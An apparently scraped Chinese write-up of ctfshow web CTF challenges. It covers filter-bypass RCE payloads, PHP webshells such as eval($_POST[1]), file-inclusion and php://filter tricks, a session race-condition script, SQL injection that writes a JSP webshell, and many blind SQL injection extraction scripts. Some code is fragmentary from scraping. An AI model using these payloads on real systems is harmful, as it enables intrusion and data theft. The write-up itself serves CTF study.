添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow) || strlen($ctfshow) <= 107) { if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){ eval($ctfshow); }else{ echo("fucccc hacker!!"); } else { phpinfo();

先跑一手正则:

for($a = 0; $a < 256; $a++){ if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",chr($a))){ echo chr($a)." ";
 $ ( ) + , - . / 0 1 2 3 ; < = > ? C [ ] _ { } 

经典的无字母webshell,有了+应该是用自增构造,用RCE挑战5里那个通用解就行了,这里system啥的都ban了,换成passthru执行命令:(记得burpsuite传别用hackbar)

ctf_show=$_=(_/_._)[_];$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_[_]($$_[%FA]);&_=passthru&%FA=cat /f*

easy_eval

error_reporting(0); highlight_file(__FILE__); $code = $_POST['code']; if(isset($code)){   $code = str_replace("?","",$code);   eval("?>".$code);

过滤了?,考虑php的标记风格:

<?php ...?>
<?...?>
<%...%>
<script language="php">...</script>

payload:

POST:code=<script language="php">system("cat /f*");</script>

web签到

任意命令执行,但没有回显,字符数不超过7。hitcon那个题的究极简化版,一句话就搞定了:

nl /*>a  

虽然之前hitcon的题已经解释过了,这里再简单解释一下,nl是一个linux里读取文件内容的命令,/*就是根目录下的所有文件,>+fileanme来实现新建一个文件(>是覆盖,>>是追加),所以我这行命令意思就是读取根目录下所有文件并导入文件a种,然后访问6574a4b0-8acb-4f2d-a23c-45bc408ed17a.challenge.ctf.show/api/a即可拿到flag

easy_calc

if(check($code)){ eval('$result='."$code".";"); echo($result); function check(&$code){ $num1=$_POST['num1']; $symbol=$_POST['symbol']; $num2=$_POST['num2']; if(!isset($num1) || !isset($num2) || !isset($symbol) ){ return false; if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){ return false; if(preg_match("/^[\+\-\*\/]$/", $symbol)){ $code = "$num1$symbol$num2"; return true; return false;

关键点毫无疑问是这个eval(),但是有个check函数进行了判断。我们简单分析下,首先$num1.$num2.$symbol也就是传进来的三个值拼接起来可用字符只有

" ) * + , - . / : ; \ ] } 0~9 a~z A~Z

其次是第二个pregmatch,限制了symbol里必须有

* + - / 

有eval执行代码,但是不能有(或者{,执行函数是不行了,得找一个不用括号的函数,比如include,正常的包含是:

include "data://text/plain,<?php phpinfo();?>"

但我们这里不能用括号或者<,我们可以先进行一次编码:

include "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+"

因为得满足上面分成三段的要求,我们换一种写法再拆分一下:

num1=include "data:ctfshow
symbol=/
num2=b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";
$num1$symbol$num2=include "data:ctfshow/b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";

payload:

GET:?1=system('cat /secret');die();
POST:num1=include "data:ctfshow&symbol=/&num2=b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";

注:之前确实没想到这样也能包含

public String auth(@RequestParam String username, @RequestParam String password, HttpServletRequest request){
    String message="社工库未查询到泄露记录,你的账号是安全的。";
    if(SafeUtil.sql_check(username) || SafeUtil.sql_check(password)){
        message="stop sql inject!";
        return message;
    try {
        String sql = "select username,password from app_user where username ='" + username + "' and password ='" + password + "' ;";
        ResultSet resultSet = DbUtil.getInstance().query(sql);
        if (null != resultSet) {
            while (resultSet.next()) {
                message = "您的QQ账号密码已经泄露,请立即修改密码";
                break;
    }catch (Exception e){
        e.printStackTrace();
        message="数据查询出错";
    insertQueryLog(username,password);
    return message;

很明显有一个sql语句,可能有sql注入,但这里有个SafeUtil.sql_check,先看看过滤:

public static boolean sql_check(String sql){
    sql = sql.toLowerCase(Locale.ROOT);
    String ban[] = {"'",
            "file",
            "information",
            "mysql",
            "from",
            "update",
            "delete",
            "select",",","union","sleep","("};
    for (String s:ban) {
        if(sql.contains(s)){
            return true;
    return false;

过滤了单引号,但是可以转义绕过,我们再来看看配置文件config.properties:

url=jdbc:mysql://127.0.0.1:3306/app?characterEncoding=utf-8&useSSL=false&&autoReconnect=true&allowMultiQueries=true&serverTimezone=UTC
db_username=root
db_password=root

这里有一句allowMultiQueries=true,而且没过率分号,所以很明显可以堆叠注入了,再看看这个insertQueryLog(username,password)

private int insertQueryLog(String username,String password){
    String sql = "insert into app_query_log(username,password) values(?,?);";
    Connection connection = DbUtil.getConnection();
    PreparedStatement preparedStatement;
    int count=0;
    try {
        connection.setAutoCommit(false);
        preparedStatement=connection.prepareStatement(sql);
        preparedStatement.setQueryTimeout(3);
        preparedStatement.setString(1,username);
        preparedStatement.setString(2,password);
        count = preparedStatement.executeUpdate();
        connection.commit();
    } catch (SQLException e) {
        LogUtil.save(username,password);
        e.printStackTrace();
    return count;

有一句LogUtil.save(),继续跟进看看:

public class LogUtil {
    public LogUtil() {
    public static void save(String username, String password) {
        FileUtil.SaveFileAs(username, password);

继续跟进:

public static boolean SaveFileAs(String content, String path) {
    FileWriter fw = null;
    boolean var4;
    try {
        fw = new FileWriter(new File(path), false);
        if (content != null) {
            fw.write(content);
        return true;
    } catch (IOException var14) {
        var14.printStackTrace();
        var4 = false;
    } finally {
        if (fw != null) {
            try {
                fw.flush();
                fw.close();
            } catch (IOException var13) {
                var13.printStackTrace();
    return var4;

也就是说这里其实有一个保存文件的功能,如果我们让上面的insertQueryLog()报错,就会进入catch (SQLException e) ,然后通过LogUtil.save()保存文件,并且username为内容,password为文件名,但这里过滤了(,我们必须既做到不用括号sql注入,还得让sql语句报错,回到那句sql语句:

String sql = "insert into app_query_log(username,password) values(?,?);";

三个报错方法:

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/sql" prefix="sql"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%>
<%@ page isELIgnored="false" %>
<sql:setDataSource var="test" driver="${param.driver}"
        url="${param.url}" user="root" password="root" />
   <sql:query dataSource="${test}" var="result">
        ${param.sql}
    </sql:query>
<table border="1" width="100%">
            <th>ctfshow</th>
        <c:forEach var="row" items="${result.rows}">
                <td><c:out value="${row.t}" /></td>
        </c:forEach>
    </table>
username=%3C%25%40%20page%20language%3D%22java%22%20contentType%3D%22text%2Fhtml%3B%20charset%3DUTF-8%22%0A%20%20%20%20pageEncoding%3D%22UTF-8%22%25%3E%0A%3C%25%40%20taglib%20uri%3D%22http%3A%2F%2Fjava.sun.com%2Fjsp%2Fjstl%2Fsql%22%20prefix%3D%22sql%22%25%3E%0A%3C%25%40%20taglib%20uri%3D%22http%3A%2F%2Fjava.sun.com%2Fjsp%2Fjstl%2Fcore%22%20prefix%3D%22c%22%25%3E%0A%3C%25%40%20page%20isELIgnored%3D%22false%22%20%25%3E%0A%3Csql%3AsetDataSource%20var%3D%22test%22%20driver%3D%22%24%7Bparam.driver%7D%22%0A%20%20%20%20%20%20%20%20url%3D%22%24%7Bparam.url%7D%22%20user%3D%22root%22%20password%3D%22root%22%20%2F%3E%0A%20%20%20%3Csql%3Aquery%20dataSource%3D%22%24%7Btest%7D%22%20var%3D%22result%22%3E%0A%20%20%20%20%20%20%20%20%24%7Bparam.sql%7D%0A%20%20%20%20%3C%2Fsql%3Aquery%3E%0A%0A%0A%0A%3Ctable%20border%3D%221%22%20width%3D%22100%25%22%3E%0A%20%20%20%20%20%20%20%20%3Ctr%3E%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%3Et%3C%2Fth%3E%0A%20%20%20%20%20%20%20%20%3C%2Ftr%3E%0A%20%20%20%20%20%20%20%20%3Cc%3AforEach%20var%3D%22row%22%20items%3D%22%24%7Bresult.rows%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Ctr%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ctd%3E%3Cc%3Aout%20value%3D%22%24%7Brow.t%7D%22%20%2F%3E%3C%2Ftd%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Ftr%3E%0A%20%20%20%20%20%20%20%20%3C%2Fc%3AforEach%3E%0A%20%20%20%20%3C%2Ftable%3E&password=../webapps/ROOT/1.jsp

先生成小马

POST:file=data://text/plain,<?php eval($_GET['cmd']);?>>?;)]'dmc'[TEG_$(lave php?<,nialp/txet//:atad
url/?cmd=system("cat /*");

easy unserialize

include("./HappyYear.php"); class one {     public $object;     public function MeMeMe() {         array_walk($this, function($fn, $prev){             if ($fn[0] === "Happy_func" && $prev === "year_parm") {                 global $talk;                 echo "$talk"."</br>";                 global $flag;                 echo $flag;     public function __destruct() {         @$this->object->add();     public function __toString() {         return $this->object->string; class second {     protected $filename;     protected function addMe() {         return "Wow you have sovled".$this->filename;     public function __call($func, $args) {         call_user_func([$this, $func."Me"], $args); class third {     private $string;     public function __construct($string) {         $this->string = $string;     public function __get($name) {         $var = $this->$name;         $var[$name](); if (isset($_GET["ctfshow"])) {     $a=unserialize($_GET['ctfshow']);     throw new Exception("高一新生报道"); } else {     highlight_file(__FILE__);

同红岩杯的反序列化题

class one { public $object; public $year_parm=array(0=>"Happy_func"); class second { public $filename; class third { private $string; public function __construct($string) { $this->string = $string; $a=new one(); $a->object=new second(); $a->object->filename=new one(); $a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]); $n=null; $payload=array($a,$n); echo urlencode(serialize($payload));

i:1改成i:0:

?ctfshow=a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D

web签到

//Author:H3h3QAQ include "flag.php"; highlight_file(__FILE__); error_reporting(0); if (isset($_GET["YBB"])) {     if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {         echo "小伙子不错嘛!!flag给你了:" . $flag;     } else {         echo "偶吼,带黑阔被窝抓到了!!!!";

因为这里是弱比较,所以其实只要我们找个字符串前后加密前缀都一样就行了,比如0e215962017,它md5后是0e291242476940776845150308577824,二者前缀都是0e自然弱比较成功,拿到flag了

?YBB=0e215962017

web入门·信息搜集

f12查看源码即可

返回包请求头里

/robots.txt->/flagishere.txt

phps文件泄露,访问/index.phps

/www.zip -> /fl000g.txt

git泄露,访问/git/

svn泄露,访问/.svn/

vim缓存文件.swp,访问index.php.swp

web10

看cookie

web11

查看flag.ctfshow.com的txt解析记录,可以用http://www.wetools.com/dns/bdeccb25bc9237a4ce71db80a2655594

$p = $_POST['pazzword']; if(isset($u) && isset($p)){ if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){ echo $flag;

所以post提交一下就行了:

username=admin&pazzword=a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04

web20

$file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }else{ highlight_file(__FILE__);

经典的包含日志

$file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); }else{ highlight_file(__FILE__); $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__);

条件竞争包含session,利用session.upload_progress将恶意语句写入session文件,从而包含session文件

import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080/"
url2='http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080?file=/tmp/sess_'+sess
data1={
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
data2={
	'1':'system("cat f*");'
file={
	'file':'abc'
cookies={
	'PHPSESSID': sess
def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.post(url2,data=data2)
		if 'ctfshow{' in r.text:
			print(r.text)
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
    highlight_file(__FILE__);

死亡die,之前看别人博客里提到过,具体可以看看p神的博客:https://www.leavesongs.com/PENETRATION/php-filter-magic.html,借用一下别人的解释:

file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570 // file=php://filter/write=convert.base64-decode/resource=a.php content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw== 其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==是"<?php eval($_POST[1]);"的base64编码。前面的11是为了填充"<?php die('大佬别秀了');?>" base64 4位4位解码,其中"<?php die('大佬别秀了');?>"解码的内容其实只有phpdie,所以需要再填充两位。 //content=<?php eval($_POST[1]);

或者用rot13

file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2562%252e%2570%2568%2570 //file=php://filter/read=string.rot13/resource=b.php content=<?cuc riny($_CBFG[1]); //content=<?php eval($_POST[1]); if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ die("error"); include($file); }else{ highlight_file(__FILE__);

没过滤:,直接data协议

?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs
POST 1=system("cat *f*");

web117

highlight_file(__FILE__); error_reporting(0); function filter($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ die('too young too simple sometimes naive!'); $file=$_GET['file']; $contents=$_POST['contents']; filter($file); file_put_contents($file, "<?php die();?>".$contents);

过滤了base64和rot13,我们可以换个冷门点的

payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php 
post:contents=?<hp pvela$(P_SO[T]1;)>?

web入门·文件上传

web151

直接传即可

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); imagepng($img,'2.png'); //要修改的图片的路径 /* 木马内容 <?$_GET[0]($_POST[1]);?> echo "执行成功!";
nb='nbfnbcnbgnbdnbfnbfnbgnbcnbfnbhnbfFnbgnbgnbgBnbcnbhnbfnbbnbcnbcnbcnbenbfnbbnbfnbenbfnbcnbfnbanbbDnbcnbcnbcnbgnbcnbgnbfnbdnbbDnbcnbdnbcnbbnbfnbfnbcnbhnbbDnbcnbhnbfnbanbfnbdnbcnbdnbbDnbcnbfnbfnbcnbfnbanbfnbbnbcnbgnbcnbhnbcnbenbfnbfnbcnbcnbcnbdnbfnbanbfnbbnbgD'
nb=nb.replace('nba','1').replace('nbb','2').replace('nbc','3').replace('nbd','4').replace('nbe','5').replace('nbf','6').replace('nbg','7').replace('nbh','8').replace('nbi','9').replace('nbj','0')
flag = bytes.fromhex(nb).decode("ascii")
print(flag)

web175

$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';

必须非ASCII字符才能获得返回值,0-127的字符都没啦。

把数据保存到1.txt里然后访问即可(写马似乎也行)

1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'--+
import requests
from time import time
url='http://e9a0003b-c5a4-47a5-af60-38145f1bfbf2.challenge.ctf.show/api/v5.php'
flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break
        payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) -- -"%(i,j)
        start_time=time()
        r=requests.get(url=url+payload).text
        end_time=time()
        if end_time-start_time>0.48:
            max=j
        else :
            min=j

web176

有waf但不知道waf是啥,fuzz了一下,是过滤了小写select,用大写绕过即可(如果是替换为空可以用双写,这里好像不是)

0' union SELECT password,2,3 from ctfshow_user%23

web177

过滤了空格,几个payload都能替换

/**/替换

0'/**/union/**/SELECT/**/password,2,3/**/from/**/ctfshow_user%23

%0C替换

0'%0Cunion%0CSELECT%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23

还有%0a、%0b、%0c、%0d、%09(tab键)、%a0等等

web178

过滤了/**/,从上面找个就行了

0'%0Cunion%0CSELECT%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23

web179

过滤了%0a %09,还是用%0C即可

0'%0Cunion%0CSELECT%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23

web180

过滤了注释符#--,可以用’1’=’1来闭合后边

'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1

web181

直接让他显示flag用户的信息

id=0'||username='flag

web182

过滤了flag,正则匹配一手即可

id=0'||(username)regexp'f

web183

$sql = "select count(pass) from ".$_POST['tableName'].";";
function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);

空格过滤了用括号代替,等号过滤了可以用like或者regexp,但有个缺点就是不区分大小写,我们在前面加个binary就行了,偷一手羽师傅的脚本:

#author:yu22x
import requests
import string
url="http://0be2b54b-f4b2-4843-a369-5878015eeca6.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    data={
    'tableName':f'(ctfshow_user)where(pass)regexp("^ctfshow{flag+j}")'
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      break
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);

过滤了where可以使用having,过滤了引号可以使用16进制,where和having用法的区别可参考https://blog.csdn.net/yexudengzhidao/article/details/54924471,其实也就简单改改上面脚本的语法就行了,继续偷一手羽师傅的脚本:

#author:yu22x
import requests
import string
url="http://e48a8069-93a1-4f54-92fd-98bf6d2f2e64.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
def asc2hex(s):
    a1 = ''
    a2 = ''
    for i in s:
        a1+=hex(ord(i))
    a2 = a1.replace("0x","")
    return a2
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    d = asc2hex(f'^ctfshow{flag+j}')
    data={
    'tableName':f' ctfshow_user group by pass having pass regexp(0x{d})'
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      break
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);

过滤了1到9的数字,我们可以用其他方式表达数字,比如我们可以使用true拼接出数字,再使用char函数转换成字符,最后使用concat进行拼接。比如想获取字符c,c的ascii为99,c就可以等于char(ture+ture+ture......) (99个true),羽师傅的脚本:

#author:yu22x
import requests
import string
url="http://f15a113d-2bae-432c-8dc6-a2cb1fe7b54e.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
  t='concat('
  for s in strs:
    t+= 'char(true'+'+true'*(ord(s)-1)+'),'
  return t[:-1]+")"
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    d = convert(f'^ctfshow{flag+j}')
    data={
    'tableName':f' ctfshow_user group by pass having pass regexp({d})'
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      if j=='}':
        exit(0)
      break
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);

还是能用上面的脚本打

web187

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
    $username = $_POST['username'];
    $password = md5($_POST['password'],true);
    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
 //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));

只要输入的密码经过intval函数后弱等于查询出的密码就可以获得flag,所以如果真正的密码是字母我们就能用0等于成功,而用户名我们也可以用0,因为username一般是字符串,在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,所以where username = 0会把所有数据都查出来

username=0&password=0

web189

//用户名检测 if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功';

flag在api/index.php文件中,所以只能盲注了

import requests
import time
url = "http://9cb4c9e3-266b-448b-9b17-b1ad6e41239b.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):
	for x in flagstr:
		data={
		"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
		"password":"0"
		print(data)
		response = requests.post(url,data=data)
		time.sleep(0.3)
		# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
		if response.text.find("8d25")>0:
			print("++++++++++++++++++ {} is right".format(x))
			flag+=x
			break
		else:
			continue
	print(flag)
import requests
import string
url="http://46163ae9-ca15-415c-9a1f-d79ea27cf81e.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):
        # data={
        #     'username':f"'||if(ascii(substr(database(),{i},1))={j},1,0)#",
        #     'password':'1'
        # data={
        #     'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
        #     'password':'1'
        # data={
        #     'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
        #     'password':'1'
        data={
            'username':f"'||if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
            'password':'1'
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=chr(j)  
            print(flag)
            break
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));

改成ord就行了

#author:yu22x
import requests
import string
url="http://f5ac78f2-fd7e-4221-9bf0-d63586ee8a51.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):
        # data={
        #     'username':f"'||if(ascii(substr(database(),{i},1))={j},1,0)#",
        #     'password':'1'
        # data={
        #     'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
        #     'password':'1'
        # data={
        #     'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
        #     'password':'1'
        data={
            'username':f"'||if(ord(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
            'password':'1'
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=chr(j)  
            print(flag)
            break
 if(preg_match('/file|into|ascii|ord|hex/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
import requests
import string
url="http://ce110fe8-25ce-4466-977e-9adadcc811b3.challenge.ctf.show/api/index.php"
s=string.ascii_lowercase+string.digits+'{'+'}'+'-'
flag=''
for i in range(1,45):
    for j in s:
        data={
            'username':f"'||if((substr((select f1ag from ctfshow_fl0g),{i},1))='{j}',1,0)#",
            'password':'1'
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=j  
            print(flag)
            break
  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
import requests
import string
url="http://9c661478-5e7e-42ee-a47d-586a2a2c614b.challenge.ctf.show/api/index.php"
s=string.ascii_lowercase+string.digits+'{'+'}'+'-'
flag=''
for i in range(1,46):
    for j in s:
        # data={
        #     'username':f"'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{j}',1,0)#",
        #     'password':'1'
        # data={
        #     'username':f"'||if((mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{j}',1,0)#",
        #     'password':'1'
        data={
            'username':f"'||if((mid((select f1ag from ctfshow_flxg),{i},1))='{j}',1,0)#",
            'password':'1'
        r=requests.post(url,data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
            flag+=j  
            print(flag)
            break
  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
参数:--tables,--exclude-sysdbs,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。
如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。
--exclude-sysdbs参数是指包含了所有的系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。
列举数据库表中的字段
参数:--columns,-C,-T,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时,默认会使用当前数据库。
获取整个表的数据
参数:--dump,-C,-T,-D,--start,--stop,--first,--last
